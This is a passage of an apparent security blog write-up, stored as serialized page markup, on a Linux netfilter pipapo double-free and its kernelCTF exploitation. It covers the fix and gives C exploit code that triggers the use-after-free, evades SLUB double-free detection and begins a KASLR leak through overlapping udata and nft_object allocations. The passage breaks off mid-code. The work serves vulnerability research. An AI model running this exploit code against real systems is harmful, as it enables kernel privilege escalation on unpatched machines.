concatenation of ranges\")\n",{"type":21,"tag":153,"props":56361,"children":56362},{"class":155,"line":3526},[56363],{"type":21,"tag":153,"props":56364,"children":56365},{},[56366],{"type":26,"value":56367},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":21,"tag":153,"props":56369,"children":56370},{"class":155,"line":3607},[56371],{"type":21,"tag":153,"props":56372,"children":56373},{},[56374],{"type":26,"value":56375},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":21,"tag":22,"props":56377,"children":56378},{},[56379,56381,56386,56388,56393,56395,56400,56402,56407],{"type":26,"value":56380},"As we previously discussed, committing changes to a pipapo ",{"type":21,"tag":78,"props":56382,"children":56384},{"className":56383},[],[56385],{"type":26,"value":53310},{"type":26,"value":56387}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":21,"tag":78,"props":56389,"children":56391},{"className":56390},[],[56392],{"type":26,"value":54636},{"type":26,"value":56394}," method by simply replacing the ",{"type":21,"tag":78,"props":56396,"children":56398},{"className":56397},[],[56399],{"type":26,"value":53310},{"type":26,"value":56401},"s match object with its updated clone. So checking the ",{"type":21,"tag":78,"props":56403,"children":56405},{"className":56404},[],[56406],{"type":26,"value":53264},{"type":26,"value":56408}," flag and then calling free again ensures we also free uncommitted changes.",{"type":21,"tag":22,"props":56410,"children":56411},{},[56412,56414,56419],{"type":26,"value":56413},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":21,"tag":78,"props":56415,"children":56417},{"className":56416},[],[56418],{"type":26,"value":53310},{"type":26,"value":56420},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":21,"tag":22,"props":56422,"children":56423},{},[56424,56426,56432,56434,56439,56441,56446],{"type":26,"value":56425},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":21,"tag":78,"props":56427,"children":56429},{"className":56428},[],[56430],{"type":26,"value":56431},"set->ops->destroy()",{"type":26,"value":56433}," could be called without clearing the ",{"type":21,"tag":78,"props":56435,"children":56437},{"className":56436},[],[56438],{"type":26,"value":53264},{"type":26,"value":56440}," flag, which was fine considering you didn't have duplicated views of the ",{"type":21,"tag":78,"props":56442,"children":56444},{"className":56443},[],[56445],{"type":26,"value":53302},{"type":26,"value":56447},"s, so they would all be in the clone set.",{"type":21,"tag":22,"props":56449,"children":56450},{},[56451,56453,56458],{"type":26,"value":56452},"But when the ",{"type":21,"tag":78,"props":56454,"children":56456},{"className":56455},[],[56457],{"type":26,"value":56020},{"type":26,"value":56459}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":21,"tag":22,"props":56461,"children":56462},{},[56463],{"type":26,"value":56464},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":21,"tag":66,"props":56466,"children":56468},{"id":56467},"kernelctf-exploit",[56469],{"type":26,"value":56470},"KernelCTF exploit",{"type":21,"tag":22,"props":56472,"children":56473},{},[56474,56476,56482,56484,56491],{"type":26,"value":56475},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":21,"tag":78,"props":56477,"children":56479},{"className":56478},[],[56480],{"type":26,"value":56481},"nft_object + udata",{"type":26,"value":56483}," technique shared by lonial con in a ",{"type":21,"tag":29,"props":56485,"children":56488},{"href":56486,"rel":56487},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[33],[56489],{"type":26,"value":56490},"previous kernelCTF exploit",{"type":26,"value":355},{"type":21,"tag":114,"props":56493,"children":56495},{"id":56494},"trigger-uafavoid-double-free-detection",[56496],{"type":26,"value":56497},"Trigger UAF/avoid double-free detection",{"type":21,"tag":22,"props":56499,"children":56500},{},[56501,56503,56509,56511,56517],{"type":26,"value":56502},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":21,"tag":78,"props":56504,"children":56506},{"className":56505},[],[56507],{"type":26,"value":56508},"nft_set_pipapo_match_destroy",{"type":26,"value":56510}," iterates over the ",{"type":21,"tag":78,"props":56512,"children":56514},{"className":56513},[],[56515],{"type":26,"value":56516},"setelems",{"type":26,"value":56518}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":21,"tag":126,"props":56520,"children":56521},{},[56522,56527,56532,56537],{"type":21,"tag":91,"props":56523,"children":56524},{},[56525],{"type":26,"value":56526},"Element A gets freed",{"type":21,"tag":91,"props":56528,"children":56529},{},[56530],{"type":26,"value":56531},"Element B gets free",{"type":21,"tag":91,"props":56533,"children":56534},{},[56535],{"type":26,"value":56536},"Element A gets freed again (double-free)",{"type":21,"tag":91,"props":56538,"children":56539},{},[56540],{"type":26,"value":56541},"Element B gets freed again (double-free)",{"type":21,"tag":143,"props":56543,"children":56545},{"className":31805,"code":56544,"language":31807,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n    // TRANSACTION 2\n[...]\n\n    // create pipapo set\n    uint8_t desc[2] = {16, 16};\n    set = create_set(\n        batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n        NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n    // commit 2 elems to set (elems A and B that will be double-freed)\n    for (int i = 0; i \u003C 2; i++)\n    {\n        elem[i] = nftnl_set_elem_alloc();\n        memset(key, 0x41 + i, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n        nftnl_set_elem_add(set, elem[i]);\n    }\n[...]\n\n    // TRANSACTION 3\n[...]\n    set = nftnl_set_alloc();\n    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n    nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n    // make priv->dirty true\n    memset(key, 0xff, KEY_LEN);\n    elem[3] = nftnl_set_elem_alloc();\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n    nftnl_set_elem_add(set, elem[3]);\n[...]\n\n    // double-free commited elems\n[...]\n    nftnl_set_free(set);\n}\n[...]\n",[56546],{"type":21,"tag":78,"props":56547,"children":56548},{"__ignoreMap":7},[56549,56556,56617,56624,56631,56639,56646,56653,56661,56685,56706,56740,56801,56808,56816,56868,56875,56901,56928,56967,56996,57025,57047,57054,57061,57068,57076,57083,57091,57104,57117,57137,57144,57152,57174,57206,57251,57287,57315,57322,57329,57337,57344,57360,57367],{"type":21,"tag":153,"props":56550,"children":56551},{"class":155,"line":156},[56552],{"type":21,"tag":153,"props":56553,"children":56554},{"style":160},[56555],{"type":26,"value":13038},{"type":21,"tag":153,"props":56557,"children":56558},{"class":155,"line":166},[56559,56564,56568,56573,56577,56582,56586,56591,56596,56600,56604,56608,56613],{"type":21,"tag":153,"props":56560,"children":56561},{"style":160},[56562],{"type":26,"value":56563},"static void trigger_uaf(",{"type":21,"tag":153,"props":56565,"children":56566},{"style":170},[56567],{"type":26,"value":12123},{"type":21,"tag":153,"props":56569,"children":56570},{"style":214},[56571],{"type":26,"value":56572}," mnl_socket",{"type":21,"tag":153,"props":56574,"children":56575},{"style":170},[56576],{"type":26,"value":5080},{"type":21,"tag":153,"props":56578,"children":56579},{"style":192},[56580],{"type":26,"value":56581},"nl",{"type":21,"tag":153,"props":56583,"children":56584},{"style":160},[56585],{"type":26,"value":1670},{"type":21,"tag":153,"props":56587,"children":56588},{"style":170},[56589],{"type":26,"value":56590},"size_t",{"type":21,"tag":153,"props":56592,"children":56593},{"style":192},[56594],{"type":26,"value":56595}," size",{"type":21,"tag":153,"props":56597,"children":56598},{"style":160},[56599],{"type":26,"value":1670},{"type":21,"tag":153,"props":56601,"children":56602},{"style":170},[56603],{"type":26,"value":21743},{"type":21,"tag":153,"props":56605,"children":56606},{"style":170},[56607],{"type":26,"value":5080},{"type":21,"tag":153,"props":56609,"children":56610},{"style":192},[56611],{"type":26,"value":56612},"msgqids",{"type":21,"tag":153,"props":56614,"children":56615},{"style":160},[56616],{"type":26,"value":5909},{"type":21,"tag":153,"props":56618,"children":56619},{"class":155,"line":225},[56620],{"type":21,"tag":153,"props":56621,"children":56622},{"style":160},[56623],{"type":26,"value":13601},{"type":21,"tag":153,"props":56625,"children":56626},{"class":155,"line":239},[56627],{"type":21,"tag":153,"props":56628,"children":56629},{"style":160},[56630],{"type":26,"value":13038},{"type":21,"tag":153,"props":56632,"children":56633},{"class":155,"line":382},[56634],{"type":21,"tag":153,"props":56635,"children":56636},{"style":160},[56637],{"type":26,"value":56638},"    // TRANSACTION 2\n",{"type":21,"tag":153,"props":56640,"children":56641},{"class":155,"line":501},[56642],{"type":21,"tag":153,"props":56643,"children":56644},{"style":160},[56645],{"type":26,"value":13038},{"type":21,"tag":153,"props":56647,"children":56648},{"class":155,"line":533},[56649],{"type":21,"tag":153,"props":56650,"children":56651},{"emptyLinePlaceholder":16},[56652],{"type":26,"value":759},{"type":21,"tag":153,"props":56654,"children":56655},{"class":155,"line":542},[56656],{"type":21,"tag":153,"props":56657,"children":56658},{"style":160},[56659],{"type":26,"value":56660},"    // create pipapo set\n",{"type":21,"tag":153,"props":56662,"children":56663},{"class":155,"line":762},[56664,56669,56673,56677,56681],{"type":21,"tag":153,"props":56665,"children":56666},{"style":160},[56667],{"type":26,"value":56668},"    uint8_t desc[2] = {",{"type":21,"tag":153,"props":56670,"children":56671},{"style":300},[56672],{"type":26,"value":470},{"type":21,"tag":153,"props":56674,"children":56675},{"style":160},[56676],{"type":26,"value":1670},{"type":21,"tag":153,"props":56678,"children":56679},{"style":300},[56680],{"type":26,"value":470},{"type":21,"tag":153,"props":56682,"children":56683},{"style":160},[56684],{"type":26,"value":19275},{"type":21,"tag":153,"props":56686,"children":56687},{"class":155,"line":776},[56688,56693,56697,56702],{"type":21,"tag":153,"props":56689,"children":56690},{"style":160},[56691],{"type":26,"value":56692},"    set ",{"type":21,"tag":153,"props":56694,"children":56695},{"style":198},[56696],{"type":26,"value":2367},{"type":21,"tag":153,"props":56698,"children":56699},{"style":181},[56700],{"type":26,"value":56701}," create_set",{"type":21,"tag":153,"props":56703,"children":56704},{"style":160},[56705],{"type":26,"value":773},{"type":21,"tag":153,"props":56707,"children":56708},{"class":155,"line":795},[56709,56714,56718,56723,56728,56732,56736],{"type":21,"tag":153,"props":56710,"children":56711},{"style":160},[56712],{"type":26,"value":56713},"        batch, seq",{"type":21,"tag":153,"props":56715,"children":56716},{"style":198},[56717],{"type":26,"value":53560},{"type":21,"tag":153,"props":56719,"children":56720},{"style":160},[56721],{"type":26,"value":56722},", exploit_table_name, ",{"type":21,"tag":153,"props":56724,"children":56725},{"style":671},[56726],{"type":26,"value":56727},"\"pwn_set\"",{"type":21,"tag":153,"props":56729,"children":56730},{"style":160},[56731],{"type":26,"value":1670},{"type":21,"tag":153,"props":56733,"children":56734},{"style":300},[56735],{"type":26,"value":3197},{"type":21,"tag":153,"props":56737,"children":56738},{"style":160},[56739],{"type":26,"value":792},{"type":21,"tag":153,"props":56741,"children":56742},{"class":155,"line":808},[56743,56748,56752,56757,56761,56766,56770,56774,56778,56783,56788,56792,56796],{"type":21,"tag":153,"props":56744,"children":56745},{"style":160},[56746],{"type":26,"value":56747},"        NFT_SET_INTERVAL ",{"type":21,"tag":153,"props":56749,"children":56750},{"style":198},[56751],{"type":26,"value":13136},{"type":21,"tag":153,"props":56753,"children":56754},{"style":160},[56755],{"type":26,"value":56756}," NFT_SET_OBJECT ",{"type":21,"tag":153,"props":56758,"children":56759},{"style":198},[56760],{"type":26,"value":13136},{"type":21,"tag":153,"props":56762,"children":56763},{"style":160},[56764],{"type":26,"value":56765}," NFT_SET_CONCAT, KEY_LEN, ",{"type":21,"tag":153,"props":56767,"children":56768},{"style":300},[56769],{"type":26,"value":5873},{"type":21,"tag":153,"props":56771,"children":56772},{"style":160},[56773],{"type":26,"value":1670},{"type":21,"tag":153,"props":56775,"children":56776},{"style":198},[56777],{"type":26,"value":1974},{"type":21,"tag":153,"props":56779,"children":56780},{"style":160},[56781],{"type":26,"value":56782},"desc, ",{"type":21,"tag":153,"props":56784,"children":56785},{"style":170},[56786],{"type":26,"value":56787},"NULL",{"type":21,"tag":153,"props":56789,"children":56790},{"style":160},[56791],{"type":26,"value":1670},{"type":21,"tag":153,"props":56793,"children":56794},{"style":300},[56795],{"type":26,"value":2996},{"type":21,"tag":153,"props":56797,"children":56798},{"style":160},[56799],{"type":26,"value":56800},", NFT_OBJECT_CT_EXPECT);\n",{"type":21,"tag":153,"props":56802,"children":56803},{"class":155,"line":820},[56804],{"type":21,"tag":153,"props":56805,"children":56806},{"emptyLinePlaceholder":16},[56807],{"type":26,"value":759},{"type":21,"tag":153,"props":56809,"children":56810},{"class":155,"line":842},[56811],{"type":21,"tag":153,"props":56812,"children":56813},{"style":3050},[56814],{"type":26,"value":56815},"    // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":21,"tag":153,"props":56817,"children":56818},{"class":155,"line":3204},[56819,56823,56827,56831,56836,56840,56844,56848,56852,56856,56860,56864],{"type":21,"tag":153,"props":56820,"children":56821},{"style":1751},[56822],{"type":26,"value":5784},{"type":21,"tag":153,"props":56824,"children":56825},{"style":160},[56826],{"type":26,"value":5820},{"type":21,"tag":153,"props":56828,"children":56829},{"style":170},[56830],{"type":26,"value":21743},{"type":21,"tag":153,"props":56832,"children":56833},{"style":160},[56834],{"type":26,"value":56835}," i ",{"type":21,"tag":153,"props":56837,"children":56838},{"style":198},[56839],{"type":26,"value":2367},{"type":21,"tag":153,"props":56841,"children":56842},{"style":300},[56843],{"type":26,"value":5799},{"type":21,"tag":153,"props":56845,"children":56846},{"style":160},[56847],{"type":26,"value":53524},{"type":21,"tag":153,"props":56849,"children":56850},{"style":198},[56851],{"type":26,"value":8537},{"type":21,"tag":153,"props":56853,"children":56854},{"style":300},[56855],{"type":26,"value":10661},{"type":21,"tag":153,"props":56857,"children":56858},{"style":160},[56859],{"type":26,"value":53555},{"type":21,"tag":153,"props":56861,"children":56862},{"style":198},[56863],{"type":26,"value":53560},{"type":21,"tag":153,"props":56865,"children":56866},{"style":160},[56867],{"type":26,"value":5909},{"type":21,"tag":153,"props":56869,"children":56870},{"class":155,"line":3230},[56871],{"type":21,"tag":153,"props":56872,"children":56873},{"style":160},[56874],{"type":26,"value":2562},{"type":21,"tag":153,"props":56876,"children":56877},{"class":155,"line":3239},[56878,56883,56888,56892,56897],{"type":21,"tag":153,"props":56879,"children":56880},{"style":192},[56881],{"type":26,"value":56882},"        elem",{"type":21,"tag":153,"props":56884,"children":56885},{"style":160},[56886],{"type":26,"value":56887},"[i] ",{"type":21,"tag":153,"props":56889,"children":56890},{"style":198},[56891],{"type":26,"value":2367},{"type":21,"tag":153,"props":56893,"children":56894},{"style":181},[56895],{"type":26,"value":56896}," nftnl_set_elem_alloc",{"type":21,"tag":153,"props":56898,"children":56899},{"style":160},[56900],{"type":26,"value":839},{"type":21,"tag":153,"props":56902,"children":56903},{"class":155,"line":3253},[56904,56909,56914,56919,56923],{"type":21,"tag":153,"props":56905,"children":56906},{"style":181},[56907],{"type":26,"value":56908},"        memset",{"type":21,"tag":153,"props":56910,"children":56911},{"style":160},[56912],{"type":26,"value":56913},"(key, ",{"type":21,"tag":153,"props":56915,"children":56916},{"style":300},[56917],{"type":26,"value":56918},"0x41",{"type":21,"tag":153,"props":56920,"children":56921},{"style":198},[56922],{"type":26,"value":5527},{"type":21,"tag":153,"props":56924,"children":56925},{"style":160},[56926],{"type":26,"value":56927}," i, KEY_LEN);\n",{"type":21,"tag":153,"props":56929,"children":56930},{"class":155,"line":3301},[56931,56936,56940,56944,56949,56954,56958,56963],{"type":21,"tag":153,"props":56932,"children":56933},{"style":181},[56934],{"type":26,"value":56935},"        nftnl_set_elem_set",{"type":21,"tag":153,"props":56937,"children":56938},{"style":160},[56939],{"type":26,"value":189},{"type":21,"tag":153,"props":56941,"children":56942},{"style":192},[56943],{"type":26,"value":54355},{"type":21,"tag":153,"props":56945,"children":56946},{"style":160},[56947],{"type":26,"value":56948},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":21,"tag":153,"props":56950,"children":56951},{"style":671},[56952],{"type":26,"value":56953},"\"pwnobj\"",{"type":21,"tag":153,"props":56955,"children":56956},{"style":160},[56957],{"type":26,"value":1670},{"type":21,"tag":153,"props":56959,"children":56960},{"style":300},[56961],{"type":26,"value":56962},"7",{"type":21,"tag":153,"props":56964,"children":56965},{"style":160},[56966],{"type":26,"value":530},{"type":21,"tag":153,"props":56968,"children":56969},{"class":155,"line":3346},[56970,56974,56978,56982,56987,56991],{"type":21,"tag":153,"props":56971,"children":56972},{"style":181},[56973],{"type":26,"value":56935},{"type":21,"tag":153,"props":56975,"children":56976},{"style":160},[56977],{"type":26,"value":189},{"type":21,"tag":153,"props":56979,"children":56980},{"style":192},[56981],{"type":26,"value":54355},{"type":21,"tag":153,"props":56983,"children":56984},{"style":160},[56985],{"type":26,"value":56986},"[i], NFTNL_SET_ELEM_KEY, ",{"type":21,"tag":153,"props":56988,"children":56989},{"style":198},[56990],{"type":26,"value":1974},{"type":21,"tag":153,"props":56992,"children":56993},{"style":160},[56994],{"type":26,"value":56995},"key, KEY_LEN);\n",{"type":21,"tag":153,"props":56997,"children":56998},{"class":155,"line":3355},[56999,57003,57007,57011,57016,57020],{"type":21,"tag":153,"props":57000,"children":57001},{"style":181},[57002],{"type":26,"value":56935},{"type":21,"tag":153,"props":57004,"children":57005},{"style":160},[57006],{"type":26,"value":189},{"type":21,"tag":153,"props":57008,"children":57009},{"style":192},[57010],{"type":26,"value":54355},{"type":21,"tag":153,"props":57012,"children":57013},{"style":160},[57014],{"type":26,"value":57015},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":21,"tag":153,"props":57017,"children":57018},{"style":198},[57019],{"type":26,"value":1974},{"type":21,"tag":153,"props":57021,"children":57022},{"style":160},[57023],{"type":26,"value":57024},"udata_buf, size);\n",{"type":21,"tag":153,"props":57026,"children":57027},{"class":155,"line":3364},[57028,57033,57038,57042],{"type":21,"tag":153,"props":57029,"children":57030},{"style":181},[57031],{"type":26,"value":57032},"        nftnl_set_elem_add",{"type":21,"tag":153,"props":57034,"children":57035},{"style":160},[57036],{"type":26,"value":57037},"(set, ",{"type":21,"tag":153,"props":57039,"children":57040},{"style":192},[57041],{"type":26,"value":54355},{"type":21,"tag":153,"props":57043,"children":57044},{"style":160},[57045],{"type":26,"value":57046},"[i]);\n",{"type":21,"tag":153,"props":57048,"children":57049},{"class":155,"line":3376},[57050],{"type":21,"tag":153,"props":57051,"children":57052},{"style":160},[57053],{"type":26,"value":539},{"type":21,"tag":153,"props":57055,"children":57056},{"class":155,"line":3393},[57057],{"type":21,"tag":153,"props":57058,"children":57059},{"style":160},[57060],{"type":26,"value":13038},{"type":21,"tag":153,"props":57062,"children":57063},{"class":155,"line":3405},[57064],{"type":21,"tag":153,"props":57065,"children":57066},{"emptyLinePlaceholder":16},[57067],{"type":26,"value":759},{"type":21,"tag":153,"props":57069,"children":57070},{"class":155,"line":3427},[57071],{"type":21,"tag":153,"props":57072,"children":57073},{"style":160},[57074],{"type":26,"value":57075},"    // TRANSACTION 3\n",{"type":21,"tag":153,"props":57077,"children":57078},{"class":155,"line":3448},[57079],{"type":21,"tag":153,"props":57080,"children":57081},{"style":160},[57082],{"type":26,"value":13038},{"type":21,"tag":153,"props":57084,"children":57085},{"class":155,"line":3456},[57086],{"type":21,"tag":153,"props":57087,"children":57088},{"style":160},[57089],{"type":26,"value":57090},"    set = nftnl_set_alloc();\n",{"type":21,"tag":153,"props":57092,"children":57093},{"class":155,"line":3493},[57094,57099],{"type":21,"tag":153,"props":57095,"children":57096},{"style":181},[57097],{"type":26,"value":57098},"    nftnl_set_set_u32",{"type":21,"tag":153,"props":57100,"children":57101},{"style":160},[57102],{"type":26,"value":57103},"(set, NFTNL_SET_FAMILY, family);\n",{"type":21,"tag":153,"props":57105,"children":57106},{"class":155,"line":3509},[57107,57112],{"type":21,"tag":153,"props":57108,"children":57109},{"style":181},[57110],{"type":26,"value":57111},"    nftnl_set_set_str",{"type":21,"tag":153,"props":57113,"children":57114},{"style":160},[57115],{"type":26,"value":57116},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":21,"tag":153,"props":57118,"children":57119},{"class":155,"line":3517},[57120,57124,57129,57133],{"type":21,"tag":153,"props":57121,"children":57122},{"style":181},[57123],{"type":26,"value":57111},{"type":21,"tag":153,"props":57125,"children":57126},{"style":160},[57127],{"type":26,"value":57128},"(set, NFTNL_SET_NAME, ",{"type":21,"tag":153,"props":57130,"children":57131},{"style":671},[57132],{"type":26,"value":56727},{"type":21,"tag":153,"props":57134,"children":57135},{"style":160},[57136],{"type":26,"value":530},{"type":21,"tag":153,"props":57138,"children":57139},{"class":155,"line":3526},[57140],{"type":21,"tag":153,"props":57141,"children":57142},{"emptyLinePlaceholder":16},[57143],{"type":26,"value":759},{"type":21,"tag":153,"props":57145,"children":57146},{"class":155,"line":3607},[57147],{"type":21,"tag":153,"props":57148,"children":57149},{"style":3050},[57150],{"type":26,"value":57151},"    // make priv->dirty true\n",{"type":21,"tag":153,"props":57153,"children":57154},{"class":155,"line":3615},[57155,57160,57164,57169],{"type":21,"tag":153,"props":57156,"children":57157},{"style":181},[57158],{"type":26,"value":57159},"    memset",{"type":21,"tag":153,"props":57161,"children":57162},{"style":160},[57163],{"type":26,"value":56913},{"type":21,"tag":153,"props":57165,"children":57166},{"style":300},[57167],{"type":26,"value":57168},"0xff",{"type":21,"tag":153,"props":57170,"children":57171},{"style":160},[57172],{"type":26,"value":57173},", KEY_LEN);\n",{"type":21,"tag":153,"props":57175,"children":57176},{"class":155,"line":3629},[57177,57182,57186,57190,57194,57198,57202],{"type":21,"tag":153,"props":57178,"children":57179},{"style":192},[57180],{"type":26,"value":57181},"    elem",{"type":21,"tag":153,"props":57183,"children":57184},{"style":160},[57185],{"type":26,"value":211},{"type":21,"tag":153,"props":57187,"children":57188},{"style":300},[57189],{"type":26,"value":4303},{"type":21,"tag":153,"props":57191,"children":57192},{"style":160},[57193],{"type":26,"value":11387},{"type":21,"tag":153,"props":57195,"children":57196},{"style":198},[57197],{"type":26,"value":2367},{"type":21,"tag":153,"props":57199,"children":57200},{"style":181},[57201],{"type":26,"value":56896},{"type":21,"tag":153,"props":57203,"children":57204},{"style":160},[57205],{"type":26,"value":839},{"type":21,"tag":153,"props":57207,"children":57208},{"class":155,"line":26297},[57209,57214,57218,57222,57226,57230,57235,57239,57243,57247],{"type":21,"tag":153,"props":57210,"children":57211},{"style":181},[57212],{"type":26,"value":57213},"    nftnl_set_elem_set",{"type":21,"tag":153,"props":57215,"children":57216},{"style":160},[57217],{"type":26,"value":189},{"type":21,"tag":153,"props":57219,"children":57220},{"style":192},[57221],{"type":26,"value":54355},{"type":21,"tag":153,"props":57223,"children":57224},{"style":160},[57225],{"type":26,"value":211},{"type":21,"tag":153,"props":57227,"children":57228},{"style":300},[57229],{"type":26,"value":4303},{"type":21,"tag":153,"props":57231,"children":57232},{"style":160},[57233],{"type":26,"value":57234},"], NFTNL_SET_ELEM_OBJREF, ",{"type":21,"tag":153,"props":57236,"children":57237},{"style":671},[57238],{"type":26,"value":56953},{"type":21,"tag":153,"props":57240,"children":57241},{"style":160},[57242],{"type":26,"value":1670},{"type":21,"tag":153,"props":57244,"children":57245},{"style":300},[57246],{"type":26,"value":56962},{"type":21,"tag":153,"props":57248,"children":57249},{"style":160},[57250],{"type":26,"value":530},{"type":21,"tag":153,"props":57252,"children":57253},{"class":155,"line":26330},[57254,57258,57262,57266,57270,57274,57279,57283],{"type":21,"tag":153,"props":57255,"children":57256},{"style":181},[57257],{"type":26,"value":57213},{"type":21,"tag":153,"props":57259,"children":57260},{"style":160},[57261],{"type":26,"value":189},{"type":21,"tag":153,"props":57263,"children":57264},{"style":192},[57265],{"type":26,"value":54355},{"type":21,"tag":153,"props":57267,"children":57268},{"style":160},[57269],{"type":26,"value":211},{"type":21,"tag":153,"props":57271,"children":57272},{"style":300},[57273],{"type":26,"value":4303},{"type":21,"tag":153,"props":57275,"children":57276},{"style":160},[57277],{"type":26,"value":57278},"], NFTNL_SET_ELEM_KEY, ",{"type":21,"tag":153,"props":57280,"children":57281},{"style":198},[57282],{"type":26,"value":1974},{"type":21,"tag":153,"props":57284,"children":57285},{"style":160},[57286],{"type":26,"value":56995},{"type":21,"tag":153,"props":57288,"children":57289},{"class":155,"line":26338},[57290,57295,57299,57303,57307,57311],{"type":21,"tag":153,"props":57291,"children":57292},{"style":181},[57293],{"type":26,"value":57294},"    nftnl_set_elem_add",{"type":21,"tag":153,"props":57296,"children":57297},{"style":160},[57298],{"type":26,"value":57037},{"type":21,"tag":153,"props":57300,"children":57301},{"style":192},[57302],{"type":26,"value":54355},{"type":21,"tag":153,"props":57304,"children":57305},{"style":160},[57306],{"type":26,"value":211},{"type":21,"tag":153,"props":57308,"children":57309},{"style":300},[57310],{"type":26,"value":4303},{"type":21,"tag":153,"props":57312,"children":57313},{"style":160},[57314],{"type":26,"value":6485},{"type":21,"tag":153,"props":57316,"children":57317},{"class":155,"line":26346},[57318],{"type":21,"tag":153,"props":57319,"children":57320},{"style":160},[57321],{"type":26,"value":13038},{"type":21,"tag":153,"props":57323,"children":57324},{"class":155,"line":26355},[57325],{"type":21,"tag":153,"props":57326,"children":57327},{"emptyLinePlaceholder":16},[57328],{"type":26,"value":759},{"type":21,"tag":153,"props":57330,"children":57331},{"class":155,"line":26431},[57332],{"type":21,"tag":153,"props":57333,"children":57334},{"style":160},[57335],{"type":26,"value":57336},"    // double-free commited elems\n",{"type":21,"tag":153,"props":57338,"children":57339},{"class":155,"line":26464},[57340],{"type":21,"tag":153,"props":57341,"children":57342},{"style":160},[57343],{"type":26,"value":13038},{"type":21,"tag":153,"props":57345,"children":57346},{"class":155,"line":26472},[57347,57352,57356],{"type":21,"tag":153,"props":57348,"children":57349},{"style":160},[57350],{"type":26,"value":57351},"    nftnl_set_free(",{"type":21,"tag":153,"props":57353,"children":57354},{"style":214},[57355],{"type":26,"value":53310},{"type":21,"tag":153,"props":57357,"children":57358},{"style":160},[57359],{"type":26,"value":530},{"type":21,"tag":153,"props":57361,"children":57362},{"class":155,"line":26480},[57363],{"type":21,"tag":153,"props":57364,"children":57365},{"style":160},[57366],{"type":26,"value":548},{"type":21,"tag":153,"props":57368,"children":57369},{"class":155,"line":26517},[57370],{"type":21,"tag":153,"props":57371,"children":57372},{"style":160},[57373],{"type":26,"value":13038},{"type":21,"tag":114,"props":57375,"children":57377},{"id":57376},"leaking-kaslr",[57378],{"type":26,"value":57379},"Leaking KASLR",{"type":21,"tag":22,"props":57381,"children":57382},{},[57383,57385,57391,57393,57398,57400,57406,57408,57414,57416],{"type":26,"value":57384},"Tables contain an outline user data buffer ",{"type":21,"tag":78,"props":57386,"children":57388},{"className":57387},[],[57389],{"type":26,"value":57390},"udata",{"type":26,"value":57392}," that we can both read and write. By allocating a ",{"type":21,"tag":78,"props":57394,"children":57396},{"className":57395},[],[57397],{"type":26,"value":57390},{"type":26,"value":57399}," buffer on the double-free slot and then overlapping it with an ",{"type":21,"tag":78,"props":57401,"children":57403},{"className":57402},[],[57404],{"type":26,"value":57405},"nft_object",{"type":26,"value":57407}," we can leak the ",{"type":21,"tag":78,"props":57409,"children":57411},{"className":57410},[],[57412],{"type":26,"value":57413},"->ops",{"type":26,"value":57415}," pointer, and use it to calculate the KASLR slide.\n",{"type":21,"tag":3644,"props":57417,"children":57419},{"alt":52869,"src":57418},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":21,"tag":143,"props":57421,"children":57423},{"className":31805,"code":57422,"language":31807,"meta":7,"style":7},"[...]\n    // spray 3 udata buffers to consume elems A, B and A again\n    udata_spray(nl, 0xe8, 0, 3, NULL);\n\n    // check if overlap happened (i.e if we have to overlapping udata buffers)\n    char spray_name[16];\n    char *udata[3];\n    for (int i = 0; i \u003C 3; i++)\n    {\n        snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n        udata[i] = getudata(nl, spray_name);\n    }\n    if (udata[0][0] == udata[2][0])\n    {\n        puts(\"[+] got duplicated table\");\n    }\n\n    // Replace one of the udata buffers with nft_object\n    // and read it's counterpart to leak the nft_object struct\n    puts(\"[*] Info leak\");\n    deludata_spray(nl, 0, 1);\n    wait_destroyer();\n    obj_spray(nl, 0, 1, NULL, 0);\n    uint64_t *fake_obj = (uint64_t *)getudata(nl, 